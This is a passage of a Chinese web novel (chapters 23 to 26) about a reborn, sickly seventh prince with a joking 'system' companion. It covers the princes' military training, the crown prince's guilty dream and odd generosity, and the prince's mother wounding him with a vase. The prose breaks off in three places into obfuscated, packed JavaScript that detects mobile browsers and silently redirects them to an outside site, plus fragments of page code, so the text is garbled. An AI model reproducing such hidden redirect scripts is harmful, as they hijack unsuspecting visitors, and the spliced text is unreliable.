马车刚在宫门前停稳,三皇子车驾旁的太监就惊慌失措地跑了出来,声音都变了调:“不好了!三殿下晕过去了!” 几乎是同时,四皇子那边也传来骚动,只见四皇子李常轩被内侍搀扶着下车,脚步虚浮,显然也已是强弩之末。 五皇子李常睿的情况也没好到哪里去,他倒是没晕,但一下车就扶着宫墙剧烈地干呕起来,涕泪横流,狼狈不堪,嘴里还含糊地哼哼:“难受……本殿下……好难受……” 一时间,宫门前乱成一团。内侍、太医们提着药箱匆匆赶来,七手八脚地将几位明显是中暑症状的皇子或抬或扶,送往各自的宫殿。 皇帝站在御辇旁,面无表情地看着眼前这片鸡飞狗跳的景象。 李常安虽然未劳作,但是晒了一天的太阳,情况也不太妙,他的额头上布满了细密的冷汗,嘴唇也失去了往日的淡粉,变得有些发灰。 皇帝看着这一幕,眉头微微皱起。 王公公看着被宫人簇拥着离开的几位皇子,忍不住轻声感叹,“唉,几位殿下到底是金枝玉叶,今日又是这般暴晒劳作,实在是辛苦了……” 皇帝闻言,却是嗤笑一声,“辛苦?这才哪到哪?不过是在田里待了一下,吹了点风,晒了点太阳,一个个就变成这般模样?” 王公公陪着笑,小心翼翼地为皇子们开脱:“陛下龙章凤姿,天纵神武,殿下们年纪尚小,又是头一回经历这个,难免……难免有些不适应。” “小?朕像他们这么大的时候,早跟着太上皇去北疆吃沙子了,风吹日晒,雨淋雪冻,何曾像他们这般娇气?” 皇帝语气里满是嫌弃,“一个个文不成武不就,读书勉强及格,骑射乱七八糟,下个地还能中暑晕倒!朕看他们就是平日养得太精细了,欠操练!” 他越说越觉得这群儿子实在不像自己的种,简直是丢他的人。 “看来日后,得多让他们出来活动活动筋骨,见见风浪。免得将来……哼,成了手无缚鸡之力的废物。” 王公公听着皇帝这毫不留情的吐槽,额角微微冒汗,只能连连称是,心里却为几位殿下默哀了一把。 23.第 23 章 皇帝显然是对几位皇子秋收时表现出的“娇弱”深感不满。 没过几日,他便下旨,召了一位刚从西北边境轮换回京的老将入宫,担任皇子及伴读们的新任武学总师傅。 这位老将军姓韩,单名一个铮字,年近花甲,鬓角已染霜华,脸上有道从眉骨划至下颌的狰狞伤疤。 他早些年随微末之时的先皇打下江山,也是李弘极为倚重的边关大将。 韩铮奉旨入宫的第一日,在尚武堂前见到列队的皇子们就开门见山地说道: “末将韩铮,奉陛下之命,督导诸位殿下武艺。在末将这里,只有兵,没有皇子!望诸位殿下谨记!” 韩铮这么说也是这么做的,训练如:站桩需顶着一碗水,水洒则加时;射箭不中靶心,便要绕着校场跑圈;对练更是真打实凿,鼻青脸肿、浑身酸痛是家常便饭。 连一向刻苦的四皇子李常轩和沉稳的太子李常宸,都感到压力巨大,每日训练结束,几乎都是拖着疲惫的身躯回去。 大皇子李常川也被皇上踢回来加练,他武艺本就寻常,在这等强度的训练下也是狼狈得厉害。 五皇子李常睿更是叫苦连天,没几天就瘦了一圈,私下里给韩铮取了个“韩阎王”的绰号。 而李常安,则在第一日的站桩中,毫无意外地晕了过去。 事后,皇帝私下嘱咐了韩铮,言明七皇子体弱,可酌情减轻强度,以强健体魄为主,不必与其他皇子同等要求。 韩铮领命,自此对李常安的要求确实放宽了许多。 后来大概是觉得这七皇子长得实在太过精致漂亮,安静不说话的时候,像极了他今年刚满五岁的小孙女,便很爱逗弄他。 立冬,皇宫银装素裹,下起了大雪。 李常安畏寒,更是甚少出门,多半时间都窝在烧着地龙的长春宫内。 窗外雪花纷飞,屋内却暖意融融。 李常安拥着厚厚的狐裘,靠在窗边的软榻上。 豆沙蜷缩在他脚边的篮子里,抱着一个丑丑的小布球,睡得香甜。 【宿主,外面雪好厚!我们可以去堆个雪狐狸吗?】007兴奋地提议。 “不去。冷。”李常安干脆地拒绝,将狐裘裹紧。 【唉……】007开始日常叹气。 李常安目光落在院中傲雪绽放的腊梅上,思绪却飘向了远方。 “007,”他忽然在心中开口,“明年开春,皇上会御驾亲征。” 【亲征?!】007惊叫,【为什么?会赢吗?】 “草原遭了白灾,生存所迫,必会大举南下劫掠。皇上虽然父亲做得不咋样,但于国事上倒也没有糊涂过,皇上早有开拓边境之心。此次时机正好,今年丰收,国库充盈。” 李常安心不在焉地说道,“此战,会胜。而且,会是一场大胜,足以拓宽我朝边境线,震慑诸邦。” 【会赢?那不是好事吗?】007疑惑。 “正因为会赢,后续的风波才更大。”李常安漫不经心说道,“大胜之后,便是封赏、权力的重新划分、是各方势力的角逐。” 他顿了顿,低声道:“况且,战场之上,瞬息万变。纵然是必胜之局,也难保万全。” 他没有说出的是,前世父皇正是在这场亲征中受了暗伤,龙体自此埋下隐患。这也是后来朝局愈发混乱的原因之一。 腊月二十三,祭灶刚过,皇家最重要的年关大典——太庙祭祖,便庄严举行。 天未破晓,皇帝便率皇子、宗室及文武重臣,着隆重祭服,在礼官唱引下,于太庙前行三跪九叩大礼。 李常安裹在厚重的皇子礼服里,微微抬眼,便能看见前方父皇挺拔如松的背影,以及紧随其后的太子。 之后便是繁琐的礼节,皇帝亲自诵读祭文,声音洪亮,在空旷的广场上回荡,感念先祖创业维艰,祈佑江山永固,国泰民安。 李常安听着那些宏大的词句,心思却有些飘远。 祭祖仪式持续了近两个时辰,待一切礼毕,已近午时。 众人虽疲惫,但在如此场合,无人敢有丝毫懈怠。 仪式结束后,皇帝并未多留,只嘱咐皇子们各自回宫歇息。 是夜,东宫,太子李常宸又陷入梦境。 他梦见自己似乎终于登上了那九五至尊之位,他身着龙袍,大皇子李常川居于下方。 李常川不再是那副超然物外的模样,衣衫有些凌乱,状若癫狂。 “二弟,哦不,太子殿下,如今你可满意了?” 李常川的声音冰冷,“除掉了所有可能的威胁,连……唯一可能真心待你这个太子的人,也被你亲手送上了绝路。” 太子在梦中怒吼:“你胡说!李常安他狼子野心,勾结外敌,证据确凿!” “证据?”李常川嗤笑,那笑声令人毛骨悚然。 “那些证据,可真是一出好戏啊。德妃娘娘在推波助澜,几个看你七弟屡立大功、生怕你地位动摇的‘忠臣’在朝中串联。 而我……不过是在适当的时候,递上几份‘恰到好处’的线索,再让一些该闭嘴的人永远闭嘴。多方联手,为你那‘忠心为国’却不知进退的七弟,量身打造了一套完美的‘罪证’。他挡了太多人的路了,陛下。 说起来,陛下,你该谢谢我,没我出手,最后是赢家没准是我那位履立奇功的七弟呢!” 太子如遭雷击:“不……不可能!他多次与我作对,还害我坠马……” “与你政见不合,便是与你作对?他那是蠢,是真以为为国为民便该直言不讳!”李常川带着快意的笑意。 “至于你的腿……哈哈哈,我那好七弟,直到被千刀万剐前,恐怕都以为是自己疏忽连累了你吧?他确实查过,却被人引向了错误的方向。真正动手的,可不是他。” “他救过你不止一次,我的好太子。”李常川的声音如同毒蛇吐信。 “可惜,你眼里只有权势和猜忌。他越是立功,越是得些虚名,你就越视他为眼中钉。我们不过顺势而为,你就急不可耐地将他置于死地。真是……可怜啊 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802093|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >兄弟之中,恐怕只有他这个傻子,是真心把你当储君,盼着江山稳固的。” “胡说——!!!”太子在梦中发出凄厉的嘶喊,猛地惊醒,冷汗已浸透里衣,心脏狂跳得仿佛要炸开。 他颤抖着下床,走到窗边,望着外面沉沉的夜色和未化的积雪,只觉得浑身冰冷。 祭祖后的第二日,雪后初霁,阳光洒在皑皑白雪上,反射出耀眼的光芒。 太后怜惜孙儿们祭祖辛苦,又逢年关学宫放假,便召了几位年幼的皇子到慈宁宫玩耍。 庭院里,积雪被宫人堆成了几个大小不一的雪人,还装饰了石子、枯枝,颇有童趣。 九皇子李常瑜和十皇子李常季正是贪玩的年纪,穿着厚厚的小袄,像两个圆滚滚的球,早已兴奋地堆砌起了雪人,小脸冻得通红。 而李常安被素心和太后宫里的嬷嬷们裹得严严实实,银狐裘外还加了件厚厚的斗篷,领口的风毛簇拥着他精致的小脸,手上戴着暖手套,整个人只露出了一双大眼睛。 嬷嬷们生怕他着凉,连连嘱咐:“七殿下就在廊下看看就好,千万别去雪地里,仔细寒气入骨。” 然而看着九弟十弟玩得开心,在加上旁边007【宿主去嘛去嘛!堆个雪豆沙!】的怂恿下。 他终究还是没忍住到雪地里堆起了雪人。 他动作有些笨拙——实在是因为穿得太多,手臂都不太能弯得自如。他试图蹲下捡起一小团雪,却因为重心不稳而向后坐倒。 九皇子和十皇子见状,咯咯笑了起来,跑过来帮他,把一小捧雪塞进他戴着手套的手里。 “七哥哥,这样,按上去!”十皇子奶声奶气地指导。 三个人你一捧雪我一捧雪,很快一个歪歪扭扭的雪人成功了。 李常安总感觉缺了点啥,想去拿一根小树枝给雪人做手臂,但厚重的衣袍让他的动作像一只小企鹅,甚至比不上比他小的九皇子、十皇子灵活。 十皇子玩得兴起,一个转身没注意,撞在了李常安身上。 “哎呀!”李常安本就站得不稳,被这一撞,脚下在雪地一滑,整个人就向前仰倒! “七弟!”一声惊呼传来,一道身影疾步上前,手臂一伸,稳稳地将即将摔倒的李常安捞进了怀里。 正是太子李常宸。他处理完上午的公务,因为昨晚的梦,心中那份急于想见李常安的冲动再也压抑不住,便寻了个由头来到慈宁宫。 刚进院子,就看到这令他心惊胆战的一幕。 李常安惊魂未定,抬起头,正对上太子近在咫尺的脸。 “太……太子殿下?”李常安愣了一下,挣扎着想站稳行礼。 “别动!”太子沉声呵道,手臂却下意识地收得更紧些,仿佛生怕他再摔倒。 随即意识到自己的失态,他连忙放松力道,将李常安轻轻扶稳放下,声音也缓和下来,“可有伤着?吓到了吗?” 他蹲下身,仔细地打量着李常安,甚至想伸手去检查他是否扭到,那关切之情溢于言表,与往日判若两人。 24.第 24 章 李常安被他这过度的反应弄得有些茫然,摇了摇头:“臣弟无事,谢皇兄。” 一旁的九皇子和十皇子也吓得不敢动了,太后闻声也从殿内走出,见状忙道:“常安没事吧?快看看摔着没?” 又对太子道,“常宸来了?倒是巧,幸亏你手快。” 太子这才直起身,向太后行礼。 “皇祖母,孙儿刚办完事,顺路过来请安。” 太子温和说道:“七弟穿得厚,行动不便,雪地湿滑,还是小心些好。” 他说着,竟自然而然地伸出手,替李常安拂去了肩头溅上的一点雪沫。 李常安身体僵了一下,太子的转变太过诡异。 他垂下眼帘,后退了一小步,拉开了些距离,低声道:“谢皇兄关心。” 太子察觉到他的疏离,也不敢再贸然靠近。 太子的异常并未因慈宁宫那一日的偶遇而结束,反而随着年关的临近,愈发明显。 腊月二十八,依例是宫中皇子间互赠年礼的日子。 虽不似正式朝贺那般隆重,但也算是个联络兄弟情谊的由头。 往年,太子作为储君,送出的年礼总是最丰厚得体的,但也保持着恰如其分的距离,多是些笔墨纸砚、古籍孤本或寓意吉祥的摆件。 然而今年,送往各皇子处的年礼刚一送达,便引起了小小的波澜。 送往四皇子李常轩处的,除了一方上好的端砚,竟还有一柄前朝名匠所制的未开刃短剑,附言是“闻弟勤于骑射,此剑可作练习观摩之用”,正中李常轩下怀。 给五皇子李常睿的,除了常规的锦缎文玩,竟还有一对活蹦乱跳的异种画眉鸟,知道他就爱这些稀奇玩物。 连六皇子李常远那里,也得了一套精巧的九连环和一副小弓,正适合他这年纪玩耍。 给大皇子李常川的则是一卷失传已久的道家养生典籍的抄本。 这些礼物,或多或少都投了各位皇子的喜好,比往年显得更为贴心细致。 众人惊讶之余,也只当是太子今年格外有心。 但当送往长春宫的年礼抵达时,就连素心和苏文瑾都愣住了。 礼物足足有六大箱,比往年多了三倍不止。 除了惯例的极品笔墨、御贡锦缎、珍稀药材外,竟还有一整箱京城“瑞芳斋”新出的各式精巧点心糖果; 一箱显然是给豆沙准备的玩意——包括一个镶嵌着细碎宝石、铺着雪白羔羊毛的奢华狐狸窝,好几样用金银丝缠绕的逗宠玩具,甚至还有特制的小肉干和奶酥。 最令人侧目的是,在这些琳琅满目的礼物中,还躺着一把通体莹白的玉算盘,显然是根据李常安的手形特制的小尺寸。 另有一副暖玉打造的围棋,棋子温凉适中,即使在冬日把玩也不会冰手,棋盘是以金丝楠木镶嵌暖玉制成,华贵异常。 “这……太子殿下今年怎地如此厚赐?”苏文瑾咋舌,看着几乎堆满小半个偏厅的箱子。 素心也微微蹙眉:“且这礼物……送得也太过细致了。” 李常安随手拿起一颗温润的棋子,太不对劲了。 他与太子,前世今生,都谈不上亲近,甚至可以说是有嫌隙。 太子为何突然如此关注他,甚至……讨好他? “殿下,太子殿下还让人带话,” 送礼物来的东宫太监恭敬地补充道。 “说七殿下身子弱,冬日务必仔细将养。这些药材点心都是殿下特意挑选的,若有什么短缺或不适,千万派人去东宫说一声。 还说……那副棋,若是殿下无聊时,也可遣人去东宫,太子殿下若有闲暇,愿与殿下手谈一局。” 李常安:“……” 他更觉得诡异了。太子要和他下棋? “替我谢过太子殿下厚赐。” 他淡淡说道,让人打赏了太监,便命苏文瑾将东西登记入库,尤其是药材点心,需仔细查验。 待人走后,李常安抱着蹭过来好奇嗅着新狐狸窝的豆沙。 【宿主,太子今天真是下血本了啊!这礼物,啧啧,比皇帝赏的还贴心!】 007的声音响起,带着点看热闹的兴奋,【不过他怎么知道你喜欢下棋和算盘?观察得够仔细啊!】 “不是观察仔细的问题,事出反常必有妖,他是不是……” 李常安顿了顿,说出一个连自己都觉得有些离谱的猜测,“被什么奇怪的东西附身了?” 他实在想不出其他理由。 【附身?离魂症?】007似乎很认真地检测了一下,【系统扫描未发现太子身上有异常能量波动哦。】 腊月二十九,宫中年味已浓。 长春宫里,李常安昨天应付完太子那份让他头皮发麻的贴心年礼,这会正瘫在暖炕上喝着从系统那兑换的奶茶。 豆沙倒是很开心,在新得的的豪华狐狸窝里打滚,抱着一个缀着小金铃的绣球玩得不亦乐乎。 【宿主,别丧气嘛!看豆沙多开心!】 007欢快的声音响起,试图活跃气氛,【太子送礼,说明咱们宿主魅力值上涨!这是好事!】 “好事?”李常安有气无力地在心里翻了个白眼,“黄鼠狼给鸡拜年,能有什么好事?” 【呃……这个比喻有点伤敌一千自损八百……】 007小声嘀咕,随即语调突然变得高昂雀跃,【叮咚!您的新年任务大礼包已送达!】 李常安眼皮一跳:“……你又搞什么鬼?” 【成长系列任务(亲情温馨特供版)——父爱如山…体滑坡!啊呸,是父爱如山,值得攀爬!】007用播报综艺节目的腔调念道。 李常安:“……说人话。” 【任务一:父子的亲密时光。】 【任务描述:请与您的父皇进行一次突破性亲子互动!父皇牌人形坐骑体验(即俗称的骑大马)!】 李常安听完,沉默了三秒。 然后他缓缓拿起旁边一个软枕,把脸埋了进去。 “呜……” 闷闷的声音传来。 【宿主?宿主你怎么了?被这个充满爱的任务感动哭了吗?】007好奇地问。 李常安抬起头,脸上没什么表情,“我在思考,是把你这个系统格式化比较快,还是我直接找根房梁比较快。” 【诶?!宿主不要啊!】 007尖叫,【这个任务超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812493|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棒的!奖励是‘初级延年益寿丹’!吃了能多活十年!十年!不是十天!你知道这意味着什么吗?意味着你可以多摆烂十年!多撸豆沙十年!多气……呃!】 “多活十年?” 李常安稍微提起了点兴趣,但想到任务内容,又垮下了脸。 “代价是让我去挑战李弘的威严下限,以及我自己的羞耻上限?007,你老实说,你是不是竞争对手派来搞垮我的?” 【绝对没有!】007喊冤,【系统经过严密测算,宿主你这小身板,按照目前情况,大概可能也许……活不过十五岁。】 “哦。”李常安反应平淡。 【哦?!宿主你就这反应?】 007不可思议,【十五岁!花季雨季都没到就要凋零了!你不想多看几年这繁华世界……呃,这糟心皇宫吗?你不想把豆沙从小狐狸养成老狐狸吗?你不想看看兄弟们最后的下场吗?你不想找到上辈子死亡的真相吗?你不想知道自己的身世之谜吗?】 “所以你的解决方案,”李常安慢吞吞地说,“就是让我在‘可能因冒犯天威被提前赐死’和‘可能因为体弱活不到成年’之间,选一个?” 【风险和机遇并存嘛!】 007努力忽悠,【你看,皇帝对你其实还不错,秋收还抱你骑牛呢!这说明什么?说明陛下内心有柔软的父爱一角!咱们只要找准角度,轻轻一撬……】 “然后可能撬塌了整座皇宫,把我埋里头。” 李常安吐槽,“还‘父皇牌人形坐骑’……你怎么不直接发布个任务叫‘在太和殿屋顶放风筝’或者‘拔下龙须呢’?” 【宿主你的想法很有创意!不过系统暂时没有这类任务……】007居然还认真考虑了一下。 李常安放弃跟这个脱线系统讲道理了。 他往后一倒,望着头顶绣着祥云的帐幔,长长地叹了口气。 活不过十五岁吗?听起来是挺惨的。 多活十年的诱惑也确实存在。但是……骑大马? 他脑补了一下那个画面:威严的李弘蹲下身,他战战兢兢地爬上去,坐在那象征九五之尊的肩膀上,小手还得扶着父皇的头冠…… 然后旁边站着目瞪口呆的王公公、下巴掉地上的侍卫、以及可能随时冲进来以死进谏的御史…… “噗——” 李常安自己没忍住,笑出了声,随即赶紧抿住嘴。 太离谱了,离谱到有点好笑。 【宿主你笑了!你心动了是不是?】007捕捉到他的情绪变化,立刻插科打诨。 “我只是觉得,”李常安擦了擦笑出来的眼泪,“如果我真这么干了,史官可能会在史书上单独为我开一页。” 【那也是一种青史留名嘛!】007强词夺理。 “谢了,这种名不留也罢。” 李常安重新瘫回去,抱着豆沙揉了两把,“这个任务……搁着吧,到时候再看。” 他没有明确拒绝,但也没答应。 离谱的任务,离谱的系统,还有最近举止离谱的太子……李常安只觉得,自己这个年,过得真刺激。 至少,在真的病死之前,他可能先被007逗死。 25.第 25 章 正月初一,李常安穿着崭新的皇子常服,准备去坤宁宫请安。 刚走到宫门前,就看见太子李常宸站在那儿,正对着守门太监吩咐什么。 “二哥?”李常安惊讶地行礼,“您怎么在这儿站着?” 太子转身一见是他,眼睛明显亮了一下。 “七弟来了?我正等你呢。想着你身子弱,怕你走到一半喘不上气,特意在这儿候着。” 李常安:“……”他看起来像走两步就要晕倒的瓷娃娃吗? 【哈哈哈哈宿主!太子这是把你当林妹妹了!】007在他脑子里爆笑。 “谢二哥关怀,”李常安面不改色。 “不过从长春宫到凤仪宫不过一炷香的路程,臣弟还不至于……” “一炷香也很长了!”太子严肃打断他,走近上下打量他。“脸色还是有些白。昨晚守岁是不是逞强了?” “殿下,”旁边的东宫侍从小声提醒,“七殿下还等着给皇后娘娘请安呢。” 太子这才意识到自己话多,轻咳一声:“罢了,一起进去吧。母后刚才还念叨你。” 两人并肩往里走。太子时不时侧头看他,欲言又止。 “二哥有话要说?”李常安主动问。 “那个……前几日送去的暖玉棋,你喜欢吗?” 太子眼神飘忽,“我不是故意打探你喜好,就是听韩将军说你在学棋……不对,是韩将军自己跟我说的。” 李常安:“……”这不打自招的功力也是绝了。 “二哥厚赐,臣弟很喜欢。”他乖巧应答。 “就是那棋盘太华贵,臣弟怕手滑摔了,暂时收在库房了。” “收着做什么?拿出来用啊!”太子急了。 “摔了就摔了,我再给你找更好的!象牙的、紫檀的、甚至金丝楠的,你想要什么材质的?” “……”李常安默默看了他一眼,“二哥,臣弟只是初学,用普通榧木棋盘就够了。” “那怎么行!”太子一脸“你不懂”,“初学者才要用好棋盘,培养手感!明天我就让人送副象牙的过去!” “二哥,”李常安忽然停下脚步,抬头看他,“您突然对臣弟这么好,是不是……做了什么对不起臣弟的事?” 太子瞬间僵住,脸色变了又变,最后憋出一句:“胡、胡说!我是你兄长,对你好不是应该的吗?” “可您以前不是这样的。”李常安继续无辜眨眼。 “我……”太子语塞,耳根都红了,憋了半天,才低声说,“以前是二哥不好,以后不会了。” 这时两人已走到正殿外,皇后正好从里面出来,听见最后这句,不禁笑了:“常宸这是怎么了?在跟弟弟认错?” 太子吓了一跳,连忙行礼:“母后。” 皇后看着两个人,一个面红耳赤,一个一脸无辜,觉得甚是有趣。 她招手让两人进殿,赐座看茶。 “常安今日气色倒好,”皇后关心道,“本宫这里有新贡的血燕,一会儿带些回去。” “谢母后。”李常安乖巧应下。 太子立刻接话:“母后,儿臣那里也有些上好的雪蛤和灵芝,回头一并送去给七弟补身。” 皇后挑眉看了太子一眼,又看看李常安,笑道:“你们兄弟倒是亲近。” “应该的应该的。”太子连连点头。 李常安忽然抬头,对皇后说:“母后,二哥刚才说,要教臣弟下棋呢。还说若臣弟学得好,就把他珍藏的那副前朝国手用过的云子送给儿臣。” 说完他赶紧低头喝茶,掩去脸上狡黠的笑意。 太子:“!!!”我什么时候说过?! 那副云子是他费了好大劲才搜罗到的宝贝,平时都舍不得拿出来! 皇后却很高兴:“是吗?那很好啊。常宸是该多和兄弟走动走动,反正你放着也是放着,就给你七弟吧。” 太子看着母后的眼神,再看看七弟“纯良无邪”的笑,咬咬牙,“儿臣回头就让人送过去给七弟。” 【宿主你学坏了!】007笑得打滚,【太子脸都绿了!】 李常安在心中淡定回应:“他自己说要对我好的,我这是在帮他兑现承诺。” 从凤仪宫出来时,太子送他到宫门口,表情复杂。 “七弟,”他欲言又止,“那副云子……我明日就差人送去。” “谢二哥。”李常安行礼,抬头时眼中带着笑意,“二哥放心,臣弟会好好学的,绝不辜负那副好棋子。” 太子看着他难得露出的真切笑容,心头那点肉痛忽然就散了。 他伸手,轻轻拍了拍李常安的肩:“好好学。若有不懂,随时来问我。” 这一次,李常安没有躲开。“好。” “七弟接下来要去宁嫔娘娘那儿?”太子问。 “是,按规矩该去请安。” 太子沉默片刻,低声道:“宁嫔娘娘……性子有些特别,若是有什么为难,不必强求,早些回去便是。” 李常安抬眼看他,“谢二哥提点。” …… 映月宫依旧冷清,李常安独自走进正殿时,宁嫔正对着铜镜梳头,嘴里哼着不成调的小曲。 “儿臣给母妃请安,恭贺母妃新年安康。” 宁嫔动作一顿,从镜中看他,嘴角扯出一个古怪的笑:“哟,稀客啊。不在太后、皇后那儿献殷勤,跑我这冷宫来做什么?” “按规矩该来给母妃请安。”李常安平静道。 宁嫔转过身,“规矩?这宫里最不值钱的就是规矩。” 她站起身,慢慢踱到李常安面前,伸手捏住他的下巴。 “让我看看……长得倒是越发好了。这眉眼,这鼻子……” 她的手指冰凉,指甲划过皮肤,带来细微的刺痛。 李常安不动,任她打量。 “像谁呢?”宁嫔喃喃自语,眼神开始渐渐混沌,“不像我,也不像他……那像谁呢?” 李常安抓住机会,轻声问:“母妃说儿臣像谁? 宁嫔猛地松开手,后退两步,像是被烫到一样:“我什么都没说!” 李常安上前抓住宁嫔的手紧紧逼道:“您刚刚说了,不像您,也不像父皇,那像的是谁?” 这句话像一根针,猛地扎进宁嫔最敏感的神经。 “闭嘴!”她突然尖叫,猛地甩开手,力道之大让李常安踉跄后退两步。 宁嫔的脸色瞬间变得狰狞,眼中布满血丝:“谁准你问的?!谁准你问的?!” 她扑上来抓住李常安的肩膀,“不该问的别问!不该想的别想!你想死吗?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818194|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “儿臣只是想明白,” 李常安不退反进,盯着她疯狂的眼睛。 “为什么母妃看儿臣的眼神,总是像在看另一个人?为什么对儿臣没有一点舔犊之情?儿臣到底——” “你住口!住口!”宁嫔歇斯底里地打断他,一把将他推开。 李常安撞到身后的矮几,桌上茶具哗啦作响。 “母妃在怕什么?” “我让你闭嘴!” 宁嫔彻底失控了,她双眼赤红,喘着粗气看着李常安,最后抓起矮几上一个厚重的白瓷花瓶。 宁嫔的手臂毫无征兆地猛地一抡!朝着李常安的面门直接砸来! 太快了!李常安瞳孔骤缩,紧急侧身,可还是晚了—— “砰!” 碎瓷四溅。 花瓶的碎片刺入他的左额角,巨大的冲击力让他眼前一黑,整个人向后踉跄了几步靠着桌子才勉强站住。 温热的液体瞬间涌出,顺着眉骨流淌下来,滴落在他银白色的披风上,晕开一团刺目的红。 【宿主!!!】007的警报声尖锐到几乎破音,【头部受击!生命体征下降!请及时止血。】 “闭嘴!”李常安在脑中吼道。 他抬手抹了一把脸,满手黏腻的鲜红刺痛了他的眼睛。额角的剧痛一阵阵袭来,压抑了太久的情绪已近乎崩溃! “你……”他抬起头,死死盯着发抖的宁嫔,“你就这么恨我?” 宁嫔看着他那满脸的血,似乎也吓住了,嘴唇哆嗦着:“我……我不是……” “不是什么?!” 李常安向前踏了一步,血顺着下巴滴落。 “从小到大!你给过我一个好脸色吗?!你抱过我一次吗?!我问你要块点心,你宁愿扔了也不给我!我病了发烧,你连门都不让太医进!” 他的声音越提越高,眼眶发热——不知是因为血进了眼睛,还是别的什么。 “我知道你疯!宫里人人都说你疯!可我总想着……总想着你或许……或许有那么一刻是清醒的!或许你看我的时候,能看见的是你儿子,而不是别的什么鬼东西!” 宁嫔被他这从未有过的激烈反应震住了,抱着头往后退:“别说了……求你……” “我偏要说!” 李常安又逼近一步,额头的伤口因为激动而涌出更多血,染红了半边脸。 “我今天来,不是想逼问你什么秘密!我只是想问问你——问问我的母妃! 这新年头一天,你能不能……能不能像别的宫里的娘娘一样,好好跟我说句话?!” 他的声音到最后带着一丝哽咽。 宁嫔呆呆地看着他,她嘴唇哆嗦着,眼中疯狂和恐惧交织,最后全部化成一种崩溃的哀鸣。 “不……不该是这样的……不该是这样的……我也不知道为什么……为什么……” 她滑坐到地上,抱着头开始呜咽。 李常安站在那儿,任由血往下淌。看着这位两辈子的母妃,满腔的怒火和委屈突然像被戳破的气球,泄了个干净,只剩下无尽的疲惫。 他转身踉跄着走出殿门。 一出殿,守在外面的小叶子就看见了李常安脸上刺眼的血迹,吓得魂飞魄散:“殿下!您的头!天啊——快!快传太医!!” 26.第 26 章 额角的伤口一跳一跳地疼,李常安靠在床头,指尖无意识地摩挲着包裹着伤口的纱布。 【宿主,你还好吗?】007的声音难得小心翼翼,【疼痛指数还在上升……真的不要兑换止痛药吗?只要3点功德值!】 “不用。”李常安闭着眼,“疼着反而清醒。” 【可是……】007欲言又止,最终换了个话题,【你今天的举动太冒险了。明明可以全身而退的。】 “全身而退有什么用?”李常安睁开眼,眼神带着冷冽,“宁嫔那副样子,不逼到绝境,她一个字都不会吐露。” 【但她最后也没说什么实质内容啊!】007不解,【就说什么‘不像我,也不像他’,‘为什么偏偏是你’……这算什么线索?】 “这是最重要的线索。”李常安坐直了些,牵扯到伤口,眉心微蹙。 “她说我不像她,也不像‘他’——这个‘他’九成是皇上。如果我只是普通被调换的皇子,总该像生父或生母一方。可如果两方都不像……” 【那你就可能既不是宁嫔的孩子,也不是皇上的孩子?】007震惊。 “对。”李常安点点头,“这才是李弘上辈子对我用凌迟的真正原因。不是因为通敌,而是因为我的存在本身,就是对皇室血脉的亵渎。” 他顿了顿,“一个来历不明的野种,顶着皇子身份活了十几年,还差点染指储君之位……在他眼里,恐怕比叛国更不可饶恕。” 【所以宁嫔才那么害怕……】007恍然大悟,【她知道这个秘密一旦暴露,你们都得死。】 “但她又不甘心。” 李常安冷笑,“你看她今天的神情,又怕又恨又疯癫。她守着这个秘密这么多年,恐怕自己也快被逼疯了。” 【那宿主你打算怎么办?】 “等。”李常安说,“今天我这一伤,动静不会小。太后、皇后、皇上……总会有人来。我要看看,他们各自是什么反应。” 他眼中闪过一丝笑意:“尤其要看皇上。如果我猜得没错,他其实早就有所怀疑。只是缺一个契机来确认。” 【那不是很危险?!万一皇上真确认了你不是他儿子,那你——】 “那就更要在他确认之前,找到自己的生路。”李常安打断007的话,“好了,该来的人,应该快来了。” 话音未落,殿外就传来了急促的脚步声。 接着是小叶子压低的禀报:“殿下,太后娘娘驾到——” 太后是拄着凤头杖进来的,脚步比平时快得多。 林嬷嬷扶着她的胳膊,后面跟着一串宫人。 “常安!我的常安呢?!”老太太一进殿就急声问,目光扫到靠在床头的李常安,尤其是他额上那块渗血的纱布时,脸色瞬间沉了下来。 “皇祖母……”李常安要起身行礼。 “躺着!不准动!”太后快步走到床前,伸手想碰他的脸,又怕碰疼了他,手停在半空微微发抖。 “让皇祖母看看……这、这怎么伤成这样?!太医呢?!太医怎么说?!” 林嬷嬷连忙道:“回太后,太医已经来看过了,说是皮外伤,但伤口靠近太阳穴,需好生将养,切忌见风动气。” “皮外伤?!” 太后指着那血迹,“流了这么多血,叫皮外伤?!那疯妇是下了死手啊!” 她越说越气,凤头杖重重杵地,“林嬷嬷,摆驾映月宫!哀家倒要亲自问问,她哪来的胆子竟敢伤了皇嗣!” 